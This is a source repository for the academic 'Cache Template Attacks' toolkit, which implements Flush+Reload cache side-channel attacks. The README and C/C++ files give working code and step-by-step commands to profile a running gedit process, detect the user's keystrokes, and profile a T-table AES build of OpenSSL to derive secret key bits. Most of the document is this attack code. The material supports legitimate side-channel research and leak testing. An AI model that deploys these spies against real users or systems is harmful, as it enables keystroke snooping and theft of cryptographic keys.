├── .gitignore ├── LICENSE ├── README.md ├── cacheutils.h ├── calibration ├── Makefile └── calibration.c ├── exploitation ├── Makefile └── spy.c ├── profiling ├── Makefile ├── spy.c └── spy.sh └── profiling_aes_example ├── Makefile └── spy.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | spy 3 | victim 4 | *~ 5 | core 6 | calibration 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cache Template Attacks 2 | This repository contains several tools to perform Cache Template Attacks. 3 | 4 | Cache Template Attacks are a new generic attack technique, allowing to profile and exploit cache-based information leakage of any program automatically, without prior knowledge of specific software versions or even specific system information. 5 | 6 | The underlying cache attack used in this repository is Flush+Reload as presented by Yarom and Falkner in "[FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack](https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/yarom)" (2014). 7 | 8 | The "[Cache Template Attacks](https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/gruss)" paper by Gruss, Spreitzer and Mangard was published at USENIX Security 2015. 9 | 10 | ## One note before starting 11 | 12 | The programs should work on x86-64 Intel CPUs independent of the operating system (as long as you can compile it). Different OS specific version of the tools are provided in subfolders. 13 | 14 | **Warning:** This code is provided as-is. You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. This code may not detect vulnerabilities of your applications. This code is only for testing purposes. Use it only on test systems which contain no sensitive data. 15 | 16 | ## Getting started: Calibration 17 | Before starting the Cache Template Attack you have to find the cache hit/miss threshold of your system. 18 | 19 | Use the calibration tool for this purpose: 20 | ``` 21 | cd calibration 22 | make 23 | ./calibration 10 24 | ``` 25 | This program should print a histogram for cache hits and cache misses. The number specifies the bucket size for the histogram. 26 | 27 | ## Profiling 28 | In this example we perform some steps by hand to illustrate what happens in the background. 29 | Therefore, we will first find the address range to attack. 30 | ``` 31 | cat /proc/`pidof gedit`/maps | grep libgedit | grep "r-x" 32 | 7fe0674cf000-7fe067511000 r-xp 0001d000 103:04 2768721 /usr/lib/x86_64-linux-gnu/gedit/libgedit-44.so 33 | ``` 34 | We do not care about the virtual addresses, but only the size of the address range and the offset in the file (which is 00000000 in this example). This is also the reason why we don't have to think about address space layout randomization. 35 | 36 | **Note:** On Windows you can use the tool vmmap to find the same information. 37 | 38 | This line can directly be passed to the profiling tool in the following step. We will create a Cache Template in this step. 39 | 40 | During the profiling you need to perform or simulate a huge number of key presses. The profiling tool gives you 2 seconds of time to switch windows, e.g., to an already opened gedit window. 41 | 42 | On Linux, run the following lines: 43 | ``` 44 | cd profiling 45 | make 46 | ./spy 155 100 7fe0674cf000-7fe067511000 r-xp 0001d000 103:04 2768721 /usr/lib/x86_64-linux-gnu/gedit/libgedit-44.so 47 | ``` 48 | 49 | Choose a cache line with a nice number of cache hits and pass it to the generic exploitation spy tool: 50 | ``` 51 | cd exploitation 52 | make 53 | ./spy 155 /usr/lib/x86_64-linux-gnu/gedit/libgedit-44.so 0x22980 54 | ``` 55 | Now this tool prints a message exactly when a user presses a key (in gedit). 56 | This spy tool can also be used on Windows just like that. 57 | 58 | **Note:** Cache Template Attacks can be fully automated, but this requires the event to be automated as well. 59 | 60 | ## OpenSSL AES T-Table attack 61 | This example requires a self-compiled OpenSSL library to enable it's T-Table-based AES implementation. 62 | Place libcrypto.so in the same folder and make sure the program actually uses it as a shared library. 63 | Then run 64 | ``` 65 | cd profiling_aes_example 66 | make 67 | ./spy 68 | ``` 69 | The T-Table is easily locatable in the log file as there are only 64 addresses which are frequently accessed, but not always accessed. 70 | Subsequently, you can monitor addresses from the profile to derive information about secret keys. 71 | 72 | In the exploitation phase the spy tool has to trigger encryptions itself with an unknown key and can then trivially determine the upper 4 bits of each key byte after about 64 encryptions. 73 | 74 | Of course, we know that OpenSSL does not use a T-Table-based AES implementation anymore. But you can use this tool to profile any (possibly closed-source) binary to find whether it contains a crypto algorithm which leaks key dependent information through the cache. Just trigger the algorithm execution with fixed keys 75 | 76 | 77 | That's it, now it's up to you to find out which of your software leaks data and how it could be exploited. I hope it helps you closing these leaks. 78 | -------------------------------------------------------------------------------- /cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHEUTILS_H 2 | #define CACHEUTILS_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef HIDEMINMAX 13 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 14 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 15 | #endif 16 | 17 | uint64_t rdtsc_nofence() { 18 | uint64_t a, d; 19 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 20 | a = (d<<32) | a; 21 | return a; 22 | } 23 | 24 | uint64_t rdtsc() { 25 | uint64_t a, d; 26 | asm volatile ("mfence"); 27 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 28 | a = (d<<32) | a; 29 | asm volatile ("mfence"); 30 | return a; 31 | } 32 | 33 | void maccess(void* p) 34 | { 35 | asm volatile ("movq (%0), %%rax\n" 36 | : 37 | : "c" (p) 38 | : "rax"); 39 | } 40 | 41 | void flush(void* p) { 42 | asm volatile ("clflush 0(%0)\n" 43 | : 44 | : "c" (p) 45 | : "rax"); 46 | } 47 | 48 | void prefetch(void* p) 49 | { 50 | asm volatile ("prefetcht1 %0" : : "m" (p)); 51 | } 52 | 53 | void longnop() 54 | { 55 | asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 56 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 57 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 58 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 59 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 60 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 61 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 62 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"); 63 | } 64 | 65 | typedef struct map_handle_s { 66 | int fd; 67 | size_t range; 68 | void* mapping; 69 | } map_handle_t; 70 | 71 | void* map_file(const char* filename, map_handle_t** handle) { 72 | if (filename == NULL || handle == NULL) { 73 | return NULL; 74 | } 75 | 76 | *handle = calloc(1, sizeof(map_handle_t)); 77 | if (*handle == NULL) { 78 | return NULL; 79 | } 80 | 81 | (*handle)->fd = open(filename, O_RDONLY); 82 | if ((*handle)->fd == -1) { 83 | return NULL; 84 | } 85 | 86 | struct stat filestat; 87 | if (fstat((*handle)->fd, &filestat) == -1) { 88 | close((*handle)->fd); 89 | return NULL; 90 | } 91 | 92 | (*handle)->range = filestat.st_size; 93 | 94 | (*handle)->mapping = mmap(0, (*handle)->range, PROT_READ, MAP_SHARED, (*handle)->fd, 0); 95 | 96 | return (*handle)->mapping; 97 | } 98 | 99 | void unmap_file(map_handle_t* handle) { 100 | if (handle == NULL) { 101 | return; 102 | } 103 | 104 | munmap(handle->mapping, handle->range); 105 | close(handle->fd); 106 | 107 | free(handle); 108 | } 109 | 110 | #endif 111 | 112 | -------------------------------------------------------------------------------- /calibration/Makefile: -------------------------------------------------------------------------------- 1 | all: calibration 2 | calibration: calibration.c ../cacheutils.h 3 | gcc -std=gnu11 -O2 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /calibration/calibration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "../cacheutils.h" 6 | 7 | size_t scale = 10; 8 | size_t array[5*1024]; 9 | 10 | size_t hit_histogram[80]; 11 | size_t miss_histogram[80]; 12 | 13 | size_t onlyreload(void* addr) 14 | { 15 | size_t time = rdtsc(); 16 | maccess(addr); 17 | size_t delta = rdtsc() - time; 18 | return delta; 19 | } 20 | 21 | size_t flushandreload(void* addr) 22 | { 23 | size_t time = rdtsc(); 24 | maccess(addr); 25 | size_t delta = rdtsc() - time; 26 | flush(addr); 27 | return delta; 28 | } 29 | 30 | int main(int argc, char** argv) 31 | { 32 | scale = 10; 33 | if (argc != 1 && (argc != 2 || !sscanf(argv[1],"%lu",&scale))) 34 | exit(!printf("usage: ./calibration [bucket size]\n")); 35 | 36 | memset(array,-1,5*1024*sizeof(size_t)); 37 | maccess(array + 2*1024); 38 | sched_yield(); 39 | for (int i = 0; i < 4*1024*1024; ++i) 40 | { 41 | size_t d = onlyreload(array+2*1024); 42 | hit_histogram[MIN(79,d/scale)]++; 43 | sched_yield(); 44 | } 45 | flush(array+2*1024); 46 | for (int i = 0; i < 4*1024*1024; ++i) 47 | { 48 | size_t d = flushandreload(array+2*1024); 49 | miss_histogram[MIN(79,d/scale)]++; 50 | sched_yield(); 51 | } 52 | printf(".\n"); 53 | for (int i = 0; i < 80; ++i) 54 | printf("%3zd: %10zu %10zu\n",i*scale,hit_histogram[i],miss_histogram[i]); 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /exploitation/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | spy: spy.c ../cacheutils.h 3 | gcc -std=gnu11 -O2 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /exploitation/spy.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #ifdef _WIN32 3 | #include 4 | #else 5 | #include 6 | #include 7 | #endif 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "../cacheutils.h" 14 | 15 | // this number varies on different systems 16 | size_t MIN_CACHE_MISS_CYCLES = 155; 17 | 18 | size_t kpause = 0; 19 | void flushandreload(void* addr) 20 | { 21 | size_t time = rdtsc(); 22 | maccess(addr); 23 | size_t delta = rdtsc() - time; 24 | flush(addr); 25 | if (delta < MIN_CACHE_MISS_CYCLES) 26 | { 27 | if (kpause > 0) 28 | { 29 | printf("%lu: Cache Hit (%lu cycles) after a pause of %lu cycles\n", time, delta, kpause); 30 | } 31 | kpause = 0; 32 | } 33 | else 34 | kpause++; 35 | } 36 | 37 | int main(int argc, char** argv) 38 | { 39 | char* thresholdp = argv[1]; 40 | char* name = argv[2]; 41 | char* offsetp = argv[3]; 42 | if (argc != 4) 43 | { 44 | printf("usage: ./spy threshold file offset\n"); 45 | return 1; 46 | } 47 | !sscanf(thresholdp,"%zu",&MIN_CACHE_MISS_CYCLES); 48 | unsigned int offset = 0; 49 | !sscanf(offsetp,"%x",&offset); 50 | #ifdef _WIN32 51 | unsigned char* addr = (unsigned char*)LoadLibrary(name); 52 | #else 53 | int fd = open(name,O_RDONLY); 54 | if (fd < 3) 55 | { 56 | printf("error: failed to open file\n"); 57 | return 2; 58 | } 59 | unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0); 60 | #endif 61 | if (addr == (void*)-1 || addr == (void*)0) 62 | { 63 | printf("error: failed to mmap\n"); 64 | return 2; 65 | } 66 | while(1) 67 | { 68 | flushandreload(addr + offset); 69 | for (int i = 0; i < 3; ++i) 70 | sched_yield(); 71 | } 72 | return 0; 73 | } 74 | -------------------------------------------------------------------------------- /profiling/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | spy: spy.c ../cacheutils.h 3 | gcc -std=gnu11 -O2 -o $@ $< -lrt -pthread 4 | -------------------------------------------------------------------------------- /profiling/spy.c: -------------------------------------------------------------------------------- 1 | #include 2 | #define _GNU_SOURCE 3 | #ifdef _WIN32 4 | #include 5 | #else 6 | #include 7 | #include 8 | #endif 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "../cacheutils.h" 16 | 17 | // this number varies on different systems 18 | size_t MIN_CACHE_MISS_CYCLES = 155; 19 | 20 | size_t flushandreload(void* addr, size_t duration) 21 | { 22 | size_t count = 0; 23 | size_t time = 0; 24 | size_t delta = 0; 25 | size_t end = rdtsc() + duration * 1000*1000; 26 | while(time < end) 27 | { 28 | time = rdtsc(); 29 | maccess(addr); 30 | delta = rdtsc() - time; 31 | flush(addr); 32 | if (delta < MIN_CACHE_MISS_CYCLES) 33 | { 34 | count++; 35 | } 36 | for (int i = 0; i < 5; ++i) 37 | sched_yield(); 38 | } 39 | return count; 40 | } 41 | 42 | int main(int argc, char** argv) 43 | { 44 | if (argc != 9) 45 | exit(!fprintf(stderr," usage: ./spy \n" 46 | "example: ./spy 155 200 400000-489000 -- 0 -- -- /usr/bin/gedit\n")); 47 | MIN_CACHE_MISS_CYCLES = 155; 48 | if (!sscanf(argv[1],"%lu",&MIN_CACHE_MISS_CYCLES)) 49 | exit(!printf("threshold error\n")); 50 | size_t duration = 0; 51 | if (!sscanf(argv[2],"%lu",&duration)) 52 | exit(!printf("duration error\n")); 53 | unsigned char* start = 0; 54 | unsigned char* end = 0; 55 | if (!sscanf(argv[3],"%p-%p",&start,&end)) 56 | exit(!printf("address range error\n")); 57 | size_t range = end - start; 58 | size_t offset = 0; 59 | if (!sscanf(argv[5],"%lx",&offset)) 60 | exit(!printf("offset error\n")); 61 | char filename[4096]; 62 | if (!sscanf(argv[8],"%s",filename)) 63 | exit(!fprintf(stderr,"filename error\n")); 64 | if (duration == 0) 65 | exit(0); 66 | #ifdef _WIN32 67 | unsigned char* addr = (unsigned char*)LoadLibrary(name); 68 | #else 69 | int fd = open(filename,O_RDONLY); 70 | if (fd < 3) 71 | exit(!printf("error: failed to open file\n")); 72 | unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0); 73 | #endif 74 | start = addr + offset; 75 | fprintf(stderr,"sleep 2 seconds\n"); 76 | sleep(2); 77 | char j = 0; 78 | size_t count = 0; 79 | printf(" done\t%*s\t addr\t hits\n",strlen(filename),"file"); 80 | for (size_t i = 0; i < range; i += 64) 81 | { 82 | for (size_t k = 0; k < 5; ++k) 83 | sched_yield(); 84 | flush(start + i); 85 | for (size_t k = 0; k < 5; ++k) 86 | sched_yield(); 87 | count = flushandreload(start + i, duration); 88 | printf("%6.2f\t%s\t%8p\t%6ld\n",100.0*(i+64) / range, filename,(void*)offset + i, count); 89 | } 90 | munmap(start,range); 91 | close(fd); 92 | return 0; 93 | } 94 | 95 | -------------------------------------------------------------------------------- /profiling/spy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [[ "$3" = "" ]]; then 3 | echo "usage: ./spy.sh " 4 | exit 0 5 | fi 6 | ps=`ps axww` 7 | ps=`echo "$ps" | grep -v "spy" | grep "$3" | head -n 1` 8 | if [[ "$ps" = "" ]]; then 9 | echo process not found 10 | exit 0 11 | fi 12 | pid=`echo $ps | grep -oE "^ *[0-9]+" | tr -d ' '` 13 | if [[ "$pid" = "" ]]; then 14 | echo pid not found 15 | exit 0 16 | fi 17 | truncate -s 0 log.txt 18 | i=$1 19 | while [[ $i -gt 0 ]]; do 20 | echo "please prepare... starting test in $i seconds..." 21 | sleep 1 22 | i=$((i - 1)) 23 | done 24 | mem=`sudo cat /proc/$pid/maps | grep "/" | grep -v "(deleted)" | grep -E "(so|locale)" | grep -E "(r-x|rw-|r--)"` 25 | while read -r line; do 26 | #echo $line 27 | #echo ./spy $2 $line 28 | entry=`./spy 0 $line 2>&1` 29 | echo "$entry ./spy $2 $line" 30 | ./spy $2 $line >> log.txt 31 | done <<< "$mem" 32 | 33 | -------------------------------------------------------------------------------- /profiling_aes_example/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | clean: 3 | rm -f *.o spy 4 | spy: spy.cpp ../../cacheutils.h 5 | g++ -std=gnu++11 -O2 -o $@ $< -Iopenssl -L./ -lcrypto 6 | -------------------------------------------------------------------------------- /profiling_aes_example/spy.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "../../cacheutils.h" 10 | #include 11 | #include 12 | 13 | // this number varies on different systems 14 | #define MIN_CACHE_MISS_CYCLES (155) 15 | 16 | // more encryptions show features more clearly 17 | #define NUMBER_OF_ENCRYPTIONS (10000) 18 | 19 | unsigned char key[] = 20 | { 21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 25 | //0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c, 26 | //0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80 27 | }; 28 | 29 | size_t sum; 30 | size_t scount; 31 | 32 | std::map > timings; 33 | 34 | char* base; 35 | char* probe; 36 | char* end; 37 | 38 | int main() 39 | { 40 | int fd = open("./libcrypto.so", O_RDONLY); 41 | size_t size = lseek(fd, 0, SEEK_END); 42 | if (size == 0) 43 | exit(-1); 44 | size_t map_size = size; 45 | if (map_size & 0xFFF != 0) 46 | { 47 | map_size |= 0xFFF; 48 | map_size += 1; 49 | } 50 | base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0); 51 | end = base + size; 52 | 53 | unsigned char plaintext[] = 54 | { 55 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 56 | }; 57 | unsigned char ciphertext[128]; 58 | unsigned char restoredtext[128]; 59 | 60 | AES_KEY key_struct; 61 | 62 | AES_set_encrypt_key(key, 128, &key_struct); 63 | 64 | uint64_t min_time = rdtsc(); 65 | srand(min_time); 66 | sum = 0; 67 | for (size_t byte = 0; byte < 256; byte += 16) 68 | { 69 | plaintext[0] = byte; 70 | //plaintext[1] = byte; 71 | //plaintext[2] = byte; 72 | //plaintext[3] = byte; 73 | 74 | AES_encrypt(plaintext, ciphertext, &key_struct); 75 | 76 | for (probe = base; probe < end; probe += 64) 77 | { 78 | size_t count = 0; 79 | sched_yield(); 80 | for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i) 81 | { 82 | for (size_t j = 0; j < 16; ++j) 83 | plaintext[j] = rand() % 256; 84 | flush(probe); 85 | plaintext[0] |= 0xF; 86 | AES_encrypt(plaintext, ciphertext, &key_struct); 87 | size_t time = rdtsc(); 88 | maccess(probe); 89 | size_t delta = rdtsc() - time; 90 | if (delta < MIN_CACHE_MISS_CYCLES) 91 | ++count; 92 | } 93 | sched_yield(); 94 | timings[probe][byte] = count; 95 | sched_yield(); 96 | } 97 | } 98 | 99 | for (auto ait : timings) 100 | { 101 | printf("%p", (void*) (ait.first - base)); 102 | for (auto kit : ait.second) 103 | { 104 | printf(",%lu", kit.second); 105 | } 106 | printf("\n"); 107 | } 108 | 109 | close(fd); 110 | munmap(base, map_size); 111 | fflush(stdout); 112 | return 0; 113 | } 114 | 115 | --------------------------------------------------------------------------------